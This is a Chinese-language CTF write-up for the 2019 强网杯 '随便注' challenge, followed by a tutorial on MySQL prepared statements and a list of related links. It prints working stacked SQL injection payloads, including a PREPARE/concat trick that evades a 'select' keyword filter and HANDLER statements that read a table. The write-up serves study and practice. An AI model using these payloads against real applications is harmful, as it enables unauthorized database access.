当前位置: 首页 > ops >正文

[强网杯2019]随便注-----堆叠注入,预编译

题解

注入1’ or 1=1

有报错,可以知道这是sql注入

注入1’ or 1=1#

成功输出了该表的所有数据,但是没有flag

' union select 1,2;#,系统提示return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);,preg_match函数用于执行正则表达式,也就是说,系统通过该代码将select等关键字都过滤了。

既然select关键字无法使用,我们可以通过堆叠注入的方式,来绕过select关键字。

注入

1';show databases;//查看数据库名

查看数据表

注入1';show tables from supersqli;

先看看表1919810931114514的列

1';show columns from `1919810931114514`;#

注意如果表名是纯数字要用`反引号包裹

对了看别人wp讲到查看表结构的两种方式

方式一:1'; show columns from tableName;#

方式二:1';desc tableName;#

看到flag

但是select被过滤了,怎么打开flag

运用预编译

1';PREPARE test from concat('s','elect', ' * from `1919810931114514` ');EXECUTE test;#

此外再介绍一个handle

handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据

1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;

打开表:
HANDLER 表名 OPEN ;查看数据:
HANDLER 表名 READ next;关闭表:
HANDLER 表名 READ CLOSE;

SQL预编译

是一种数据库查询优化技术,它允许将SQL语句模板化,通过使用占位符代替实际的参数值。这样,当相同结构的SQL语句需要多次执行时,数据库服务器只需进行一次编译,从而节省了每次执行时都进行解析和编译的性能开销。预编译不仅提高了查询速度,还有助于防止SQL注入攻击。

预编译的使用方法

在MySQL中,预编译的过程通常包括以下几个步骤:

  1. 定义预编译SQL语句:使用prepare语句创建一个预编译语句,其中包含占位符?来代替实际的参数值。 PREPARE statement_name FROM 'SELECT * FROM table WHERE column = ?';

  2. 设置参数值:使用SET命令为占位符赋值。 SET @param = value;

  3. 执行预编译SQL语句:使用EXECUTE命令执行预编译语句,并使用USING关键字指定参数。 EXECUTE statement_name USING @param;

  4. 释放预编译SQL语句:使用DEALLOCATE PREPARE命令释放预编译语句。 DEALLOCATE PREPARE statement_name;

http://www.xdnf.cn/news/19311.html

相关文章:

  • centos7挂载iscis存储操作记录
  • postman 用于接口测试,举例
  • postman带Token测试接口
  • DAY50打卡
  • Redis 持久化 AOF 与 RDB 的区别
  • Ruoyi-vue-plus-5.x第二篇MyBatis-Plus数据持久层技术:2.1 MyBatis-Plus核心功能
  • audioLDM模型代码阅读(五)—— pipeline
  • Python学习大集合:基础与进阶、项目实践、系统与工具、Web 开发、测试与运维、人工智能(视频教程)
  • 电力电子技术知识学习-----晶闸管
  • VSCode中使用Markdown
  • 从零开始学炒股
  • cordova+umi 创建项目android APP
  • PythonDay42
  • KNN算法常见面试题
  • C数据结构:排序
  • 第25章学习笔记|额外的提示、技巧与技术(PowerShell 实战版)
  • Qt Core 之 QString
  • PyTorch 张量(Tensor)详解:从基础到实战
  • 【深度学习】配分函数:近似最大似然与替代准则
  • python复杂代码如何让ide自动推导提示内容
  • 编写Linux下usb设备驱动方法:disconnect函数中要完成的任务
  • More Effective C++ 条款20:协助完成返回值优化(Facilitate the Return Value Optimization)
  • 每日算法题【栈和队列】:栈和队列的实现、有效的括号、设计循环队列
  • [软考中级]嵌入式系统设计师—考核内容分析
  • Redis持久化之AOF(Append Only File)
  • Java基础知识(十二)
  • 8.31【Q】CXL-DMSim:
  • vue3+vite+ts 发布npm 组件包
  • Deep Think with Confidence:llm如何进行高效率COT推理优化
  • 第24章学习笔记|用正则表达式解析文本文件(PowerShell 实战)